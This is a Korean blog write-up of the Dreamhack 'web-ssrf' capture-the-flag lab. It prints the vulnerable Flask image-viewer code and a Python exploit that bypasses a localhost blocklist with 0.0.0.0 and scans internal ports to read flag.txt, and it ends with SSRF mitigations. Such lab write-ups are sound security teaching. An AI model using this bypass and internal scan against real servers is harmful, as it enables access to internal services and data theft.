๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
[Dreamhack]WebHacking/๋กœ๋“œ๋งต_Basic

[Dreamhack] Level2: web-ssrf

by Yun2๐Ÿ‘ 2023. 9. 9.
๋ฐ˜์‘ํ˜•

๐Ÿ›Ž๏ธAccess

flask๋กœ ์ž‘์„ฑ๋œ image viewer ์„œ๋น„์Šค์ด๋‹ค.

SSRF ์ทจ์•ฝ์ ์„ ์ด์šฉํ•ด ํ”Œ๋ž˜๊ทธ๋ฅผ ํš๋“. ํ”Œ๋ž˜๊ทธ๋Š” /app/flag.txt์— ์žˆ๋‹ค.

 

 

๐Ÿ‘พExploit Algorithm & Payload

๋”๋ณด๊ธฐ
#!/usr/bin/python3
from flask import (
    Flask,
    request,
    render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()  # Flag is here!!
except:
    FLAG = "[**FLAG**]"


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)


local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)


def run_local_server():
    local_server.serve_forever()


threading._start_new_thread(run_local_server, ())

app.run(host="0.0.0.0", port=8000, threaded=True)

 

 

#1


: '/img_viewer' ํŽ˜์ด์ง€์—์„œ ๋ฒ„ํŠผ์„ ํด๋ฆญํ•˜๋ฉด ํ•ด๋‹น ๊ฒฝ๋กœ์—์„œ static ํด๋” ์•ˆ์˜ dream.png ์ด๋ฏธ์ง€๋กœ ์ด๋™ํ•  ์ˆ˜ ์žˆ๋Š” url์ฒ˜๋Ÿผ ๋ณด์ธ๋‹ค.

 

 

#2


: POST ๋ฐฉ์‹์œผ๋กœ ํ•ด๋‹น ์ด๋ฏธ์ง€๋ฅผ ๋ถˆ๋Ÿฌ์˜จ ๊ฒฐ๊ณผ ์ •์ƒ์ ์œผ๋กœ ์ด๋ฏธ์ง€๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ๋˜ํ•œ ์ด๋ฏธ์ง€ ํƒœ๊ทธ์˜ src ์†์„ฑ์˜ ๊ฐ’์ด base64์ธ์ฝ”๋”ฉ ๋˜์–ด์žˆ๋‹ค๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

 

 

#3


#...
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
    data = open("error.png", "rb").read()
    img = base64.b64encode(data).decode("utf8")
    return render_template("img_viewer.html", img=img)
#...
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
#...

: ์„œ๋ฒ„ ๋™์ž‘ ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋‹ˆ local_host๋Š” ๋ฃจํ”„๋ฐฑ(127.0.0.1 or localhost or 0.0.0.0)์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

: ํ•˜์ง€๋งŒ ๋ฃจํ”„๋ฐฑ ์ค‘์—์„œ localhost์™€ 127.0.0.1์€ ๋ง‰ํ˜”๋‹ค.(0.0.0.0์‚ฌ์šฉ ๊ฐ€๋Šฅ)

: local_port๋Š” randomํ•˜๊ฒŒ 1500~1800์‚ฌ์ด์ž„์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค.

: '/static/dream.png'์˜ ์‘๋‹ต์˜ Content-Length๋Š” 51917์ธ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

: ๋”ฐ๋ผ์„œ ํฌํŠธ๋ฒˆํ˜ธ๋ฅผ ๋™์ž‘์‹œ์ผœ Content-Length ๊ฐ’์˜ ๋ณ€ํ™”๋ฅผ ํ™•์ธํ•ด์•ผ๊ฒ ๋‹ค๊ณ  ํŒ๋‹จํ–ˆ๋‹ค.

 

 

๐Ÿ”‘Analysis and results for obtaining the Flag DH{…}


import requests

url = f"http://host3.dreamhack.games:24474/img_viewer"
#<img src="data:image/png;base64, iVBORw0KGgoAAAANSUhE...">
#base64 ์ธ์ฝ”๋”ฉ ์ถœ๋ ฅ ์ผ๋ถ€ ๊ฐ’
value = "iVBORw0KGgoAAAANSUhE"

#port 1500~1800
for port in range(1500,1801):
    #loopback(ban: localhost, 127.0.0.1)
    #/app/flag.txt
    port = str(port)
    randome_url = f"http://0.0.0.0:{port}/flag.txt"
    data = {
        "url" : randome_url
    }
    response = requests.post(url, data)
    #print(response.text)
    content_length = response.headers["Content-Length"]
    
    if value in response.text:
        print(f"randome_url: {randome_url}, Content-Length: {content_length} => failure \n")
    else:
        print(f"[*] randome_url: {randome_url}, Content-Length: {content_length} => success")
        print(response.text)
        break

 

: ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ–ˆ๋‹ค.

: #3์— "/static/dream.png'์˜ ์‘๋‹ต์˜ Content-Length๋Š” 51917์ธ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค."๋ผ๋Š” ๊ฒฐ๊ณผ์™€๋Š” ๋‹ค๋ฅด๊ฒŒ Content-Length๊ฐ€ ๋‚˜์˜ค๊ฒŒ ๋๋‹ค.

(์—ฌ๊ธฐ์„œ๋Š”  65121)

: ๊ทธ๋ž˜๋„ ๊ฒฐ๊ตญ port ๋ฒˆํ˜ธ๋“ค ์ค‘์—์„œ ๋‹ค๋ฅธ Content-Length๋ฅผ ํŒŒ์•…ํ•  ์ˆ˜ ์žˆ์—ˆ๊ธฐ ๋•Œ๋ฌธ์— ํ•ด๋‹น ๊ฐ’์ด ๋‹ค๋ฆ„์„ ์˜์‹ฌํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

refer to) https://www.convertstring.com/ko/EncodeDecode/Base64Decode

: base64 ์ธ์ฝ”๋”ฉ ๊ฐ’์œผ๋กœ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜จ ๊ฒƒ์„ ๋””์ฝ”๋”ฉํ•˜๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์ด FLAG๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

 

 

[+] Additional Checks


: burp suite ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ FLAG๋ฅผ ํš๋“ํ•  ์ˆ˜๋„ ์žˆ๋‹ค.

 

 

๐Ÿ“ŒSummary


Server-Side Request Forgery(SSRF)
์›น ์„œ๋น„์Šค๋Š” ์™ธ๋ถ€์—์„œ  ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋Š” ๋‚ด๋ถ€๋ง์˜ ๊ธฐ๋Šฅ์„ ์‚ฌ์šฉํ•  ๋•Œ๊ฐ€ ๋งŽ์€๋ฐ ์ด ๊ธฐ๋Šฅ์€ ๋ฐฑ์˜คํ”ผ์Šค ์„œ๋น„์Šค๋กœ ์˜ˆ๋ฅผ ๋“ค ์ˆ˜ ์žˆ๋‹ค.

 ๋ฐฑ์˜คํ”ผ์Šค ์„œ๋น„์Šค๋Š” ์ผ์„  ์—…๋ฌด ์ด์™ธ์— ํ›„๋ฐฉ์—์„œ ์ผ์„  ์—…๋ฌด๋ฅผ ์ง€์›ํ•˜๊ณ  ๋„์™€์ฃผ๋Š” ๋ถ€์„œ ๋˜๋Š” ๊ทธ๋Ÿฐ ์—…๋ฌด์˜ ๋ชฉ์ ์ด๋‹ค.  ์ฆ‰, ์™ธ๋ถ€์—์„œ ์ง์ ‘ ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋Š” ๋‚ด๋ถ€๋ง ์„œ๋น„์Šค์™€ ํ†ต์‹ ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด๋‹ค. ๋งŒ์•ฝ ๊ณต๊ฒฉ์ž๊ฐ€ SSRF ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ์›น ์„œ๋น„์Šค์˜ ๊ถŒํ•œ์œผ๋กœ ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์™ธ๋ถ€์—์„œ ๊ฐ„์ ‘์ ์œผ๋กœ ๋‚ด๋ถ€๋ง ์„œ๋น„์Šค๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์ด๋‹ค.

 ํ•ด๋‹น ์ทจ์•ฝ์ ์€ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์š”์ฒญ์„ ๋ณ€์กฐํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋งค์šฐ ์น˜๋ช…์ ์ธ ์ทจ์•ฝ์ ์ด๋ผ ๋ณผ ์ˆ˜ ์žˆ๊ธฐ์— ์ƒํ™ฉ์— ๋งž๊ฒŒ ๋Œ€์‘ํ•  ํ•„์š”๊ฐ€ ์žˆ๋‹ค.

 

-๋Œ€์‘๋ฐฉ์•ˆ-

1) ์ž…๋ ฅ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ(ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ, ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ)

: ์‚ฌ์šฉ์ž๊ฐ€ ์ œ๊ณตํ•œ ์ž…๋ ฅ๊ณผ URL, ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฒ ์ €ํ•˜๊ฒŒ ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ ํ•„์š”

2) ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ฐ ํ”„๋ ˆ์ž„์›Œํฌ ์‚ฌ์šฉ

3) ๋ฐฉํ™”๋ฒฝ ๊ตฌ์„ฑ ์ฃผ์˜

4) ๋„คํŠธ์›Œํฌ ๋ถ„ํ• 

5) ์„œ๋ฒ„ ์ธก ์š”์ฒญ ๊ธฐ๋Šฅ ์ œํ•œ

...

๋ฐ˜์‘ํ˜•

'[Dreamhack]WebHacking > ๋กœ๋“œ๋งต_Basic' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dreamhack] Level2: blind-command  (0) 2024.01.05
[Dreamhack] Level1: file-download-1  (0) 2023.09.03
[Dreamhack] Level1: image-storage  (0) 2023.08.26
[Dreamhack] Level1: command-injection-1  (0) 2023.08.24
[Dreamhack] Level2: Mango  (0) 2023.08.23